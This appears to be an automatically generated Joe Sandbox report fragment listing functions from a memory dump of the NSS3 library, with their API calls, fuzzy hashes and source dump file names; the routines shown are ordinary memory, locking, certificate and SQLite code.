API String ID: 284873373-0
Opcode ID: fd76d0ada1883c4a91b33d8c929907d964bbdec50650f9abb8ce6b65aad95971
Instruction ID: 3c5f29c7599e0f9e7e1d96e1247f45831bb2dd68e964b00a926a6172f6f525ce
Opcode Fuzzy Hash: fd76d0ada1883c4a91b33d8c929907d964bbdec50650f9abb8ce6b65aad95971
Instruction Fuzzy Hash: 6311D675A00254AFDB00DF24EC44A9A3778EF09368F594160ED0487712E731ED54CBE1

Function 6CBDECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CBDF0AD,6CBDF150,?,6CBDF150,?,?,?), ref: 6CBDECBA

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CBDECD1

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CBDED02

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CBDED5A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a26de4b6ec7e0af674cc0cea1c04df14ce3981fcf948c358a2c3f8eaeca902b6
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 9821A4B19007D25BE700CF25D944B5AB7E4FFA9348F26C21AE81C87662EB70E594C6D1

Function 6CC0EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EE14

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

memcpy.VCRUNTIME140(?,?,6CBF9767,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EE33

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 4947256adb616ff4401429aa3720d9864ab37cd1fc39a96a67558d937cc550c9
Instruction ID: 58deb1ca25e7708384a7c5089c7d79287df737943759c9539eb1e1e5f3e82446
Opcode Fuzzy Hash: 4947256adb616ff4401429aa3720d9864ab37cd1fc39a96a67558d937cc550c9
Instruction Fuzzy Hash: D511E9B1B4470AABEB109E65DC84B06B3A8FF0435CF204539E969C6A00F732F464C7E1

Function 6CB8DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA06A0: TlsGetValue.KERNEL32 ref: 6CBA06C2
Part of subcall function 6CBA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CBA06D6
Part of subcall function 6CBA06A0: PR_Unlock.NSS3 ref: 6CBA06EB

CERT_NewCertList.NSS3 ref: 6CB8DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CB8DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CB8DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8E029

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 4eb31c5342b8b9bda0c9c0818748263c07a0d7c496c1b383cd2f7f624d3cf1e0
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: C1116B75A022C6ABEB110EA85C01BAF76BCEF8035CF040939E818C7B00F732C81492E2

Function 6CBA8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA8DE7
EnterCriticalSection.KERNEL32 ref: 6CBA8DFC
PR_Unlock.NSS3 ref: 6CBA8E2D
PR_SetError.NSS3 ref: 6CBA8E49

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 95f69836d59c54aa830266790129f2f4738883365968be6b25b718555dc9b241
Instruction ID: aebc5b81ca5321145d8972d8c39a9c673c49730d6038ffc037eae88242f15080
Opcode Fuzzy Hash: 95f69836d59c54aa830266790129f2f4738883365968be6b25b718555dc9b241
Instruction Fuzzy Hash: 61115E71A09A509FD700AF78D4885AABBF4FF09314F01496ADC88D7B00EB35E895CBD2

Function 6CC498D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC49946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB016B7,00000000), ref: 6CC4994E

Part of subcall function 6CB01630: TlsGetValue.KERNEL32(00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB01659

free.MOZGLUE(00000000), ref: 6CC4995E

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: 166e7c85ef19b8c7aa78fe297356946318c2d236a59b16229385d6000e6fa369
Instruction ID: 7d363109684ce4d92f76d323cb5799bc444371e4b8802b544c56529de7d29783
Opcode Fuzzy Hash: 166e7c85ef19b8c7aa78fe297356946318c2d236a59b16229385d6000e6fa369
Instruction Fuzzy Hash: 8701AD717406219BD760AF699D0975B7BB8BB4AB05F04842AE549D2A40EB70A004CBA1

Function 6CC2AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC15F17,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC15F17,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2ACDB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: ff580ee5f94ca903e1e4ad46de8b8922a151366b08041f724b9f349912d925c4
Instruction ID: 5ef1c80e0551de2cd88a8d9faec044a23205f086c95dc05220504b8bfce4dd32
Opcode Fuzzy Hash: ff580ee5f94ca903e1e4ad46de8b8922a151366b08041f724b9f349912d925c4
Instruction Fuzzy Hash: 58018CB5A01B119BE710DF29D908747B7E8BF40699B104839D85EC3A00EB35F054CB91

Function 6CB91DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CB91DFB

Part of subcall function 6CB895B0: TlsGetValue.KERNEL32(00000000,?,6CBA00D2,00000000), ref: 6CB895D2
Part of subcall function 6CB895B0: EnterCriticalSection.KERNEL32(?,?,?,6CBA00D2,00000000), ref: 6CB895E7
Part of subcall function 6CB895B0: PR_Unlock.NSS3(?,?,?,?,6CBA00D2,00000000), ref: 6CB89605

PR_EnterMonitor.NSS3 ref: 6CB91E09

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CB8E190: PR_EnterMonitor.NSS3(?,?,6CB8E175), ref: 6CB8E19C
Part of subcall function 6CB8E190: PR_EnterMonitor.NSS3(6CB8E175), ref: 6CB8E1AA
Part of subcall function 6CB8E190: PR_ExitMonitor.NSS3 ref: 6CB8E208
Part of subcall function 6CB8E190: PL_HashTableRemove.NSS3(?), ref: 6CB8E219
Part of subcall function 6CB8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB8E231
Part of subcall function 6CB8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB8E249
Part of subcall function 6CB8E190: PR_ExitMonitor.NSS3 ref: 6CB8E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB91E37
PR_ExitMonitor.NSS3 ref: 6CB91E4A

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: c85c00848414e8b5169f9267ec92f15fe88845aa02b1955561fc3c59d7a9619b
Instruction ID: 8d81e14bbef6b662a883fd6239501d24d1e30056ba36f30d0f222c71bea6747e
Opcode Fuzzy Hash: c85c00848414e8b5169f9267ec92f15fe88845aa02b1955561fc3c59d7a9619b
Instruction Fuzzy Hash: 33018F71B416D097EB009B69EC00F5677B8AB47B48F184031E91997B91FB31E814EBD6

Function 6CB91D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB91D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB91D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CB91D9C
free.MOZGLUE(00000000), ref: 6CB91DB8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 16dbd168b64fce67f138e84cb2f6d444991dd39ff65d085876640382822b5713
Instruction ID: 1a9aa771884eafbe5614fc24c5507180b1ddbf237512d3d06be7771f87b7d100
Opcode Fuzzy Hash: 16dbd168b64fce67f138e84cb2f6d444991dd39ff65d085876640382822b5713
Instruction Fuzzy Hash: BDF049B26412F057FB101F5EAC41B47325CDF82B88F1842B5DD0C47B10DB20E80092E2

Function 6CC2AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC15D40,00000000,?,?,6CC06AC6,6CC1639C), ref: 6CC2AC2D

Part of subcall function 6CBCADC0: TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE10
Part of subcall function 6CBCADC0: EnterCriticalSection.KERNEL32(?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE24
Part of subcall function 6CBCADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CBAD079,00000000,00000001), ref: 6CBCAE5A
Part of subcall function 6CBCADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE6F
Part of subcall function 6CBCADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE7F
Part of subcall function 6CBCADC0: TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEB1
Part of subcall function 6CBCADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEC9

PK11_FreeSymKey.NSS3(?,6CC15D40,00000000,?,?,6CC06AC6,6CC1639C), ref: 6CC2AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC15D40,00000000,?,?,6CC06AC6,6CC1639C), ref: 6CC2AC59
free.MOZGLUE(8CB6FF01,6CC06AC6,6CC1639C,?,?,?,?,?,?,?,?,?,6CC15D40,00000000,?,6CC1AAD4), ref: 6CC2AC62

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 00319baf87b872b4d53799228b0164ac791d417a20b2874ee88631cac5740ef5
Instruction ID: 7a1393e9472f59657a9a9d1dd7347efad32d727e98bcd9d347325dda2f2a3a94
Opcode Fuzzy Hash: 00319baf87b872b4d53799228b0164ac791d417a20b2874ee88631cac5740ef5
Instruction Fuzzy Hash: 7A014FB5A002109FDB00DF15E8C0B4677A8AF44B5CF1880A8E9498F706E735E844CBA2

Function 6CBDFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB89003,?), ref: 6CBDFD91

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PORT_Alloc_Util.NSS3(A4686CBE,?), ref: 6CBDFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBE,?,?), ref: 6CBDFDC4
free.MOZGLUE(00000000,?,?), ref: 6CBDFDD1

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 8ebfb131d4925eb7a821b2a84d3b95ab02453bfc98576916f0f10addd4ddc395
Instruction ID: 6969ab541b0b855dd7da2b6a351f1a83fb8c242dba63b2ba1d885deebee6486b
Opcode Fuzzy Hash: 8ebfb131d4925eb7a821b2a84d3b95ab02453bfc98576916f0f10addd4ddc395
Instruction Fuzzy Hash: 75F0C8B5A052965BEB005F95EC809177768FF94699B158034ED0D8BB01EB31E815C7E2

Function 6CC9CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CC9CC61
free.MOZGLUE ref: 6CC9CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CC9CC80
free.MOZGLUE(?), ref: 6CC9CC87

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 342612764acc85330a430392e368b4d0379ce82596a8227fc110039ca4a8c586
Instruction ID: cd0ed2cb14cdf42636fe98b79a7aaf8ba7b2100c9b4e83d92f98b6c8761ea4b2
Opcode Fuzzy Hash: 342612764acc85330a430392e368b4d0379ce82596a8227fc110039ca4a8c586
Instruction Fuzzy Hash: 83E03076700618ABCA10EFA8DC84886B7BCEE492703150565E695C3700D631F905CBA1

Function 6CB79DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CB79E1F

Part of subcall function 6CB313C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CB02352,?,00000000,?,?), ref: 6CB31413
Part of subcall function 6CB313C0: memcpy.VCRUNTIME140(00000000,6CB02352,00000002,?,?,?,?,6CB02352,?,00000000,?,?), ref: 6CB314C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CB7A006
ESCAPE expression must be a single character, xrefs: 6CB79F78

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 93d1d473a761d52b6f5fe6515140df6ba089b91d73d32f70504748992abc6701
Instruction ID: ad8d5b690ad31e0da4b1f5b40b2d9f08ddf85077ca405b06cabc449f19ce349e
Opcode Fuzzy Hash: 93d1d473a761d52b6f5fe6515140df6ba089b91d73d32f70504748992abc6701
Instruction Fuzzy Hash: 27810A70E042918BDB20CF29C4903A9B7F2EF85318F288659DCB59FB85D731E846C7A1

Function 6CBD4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBD4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CBD4DE6

Strings

%d.%d, xrefs: 6CBD4DDE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
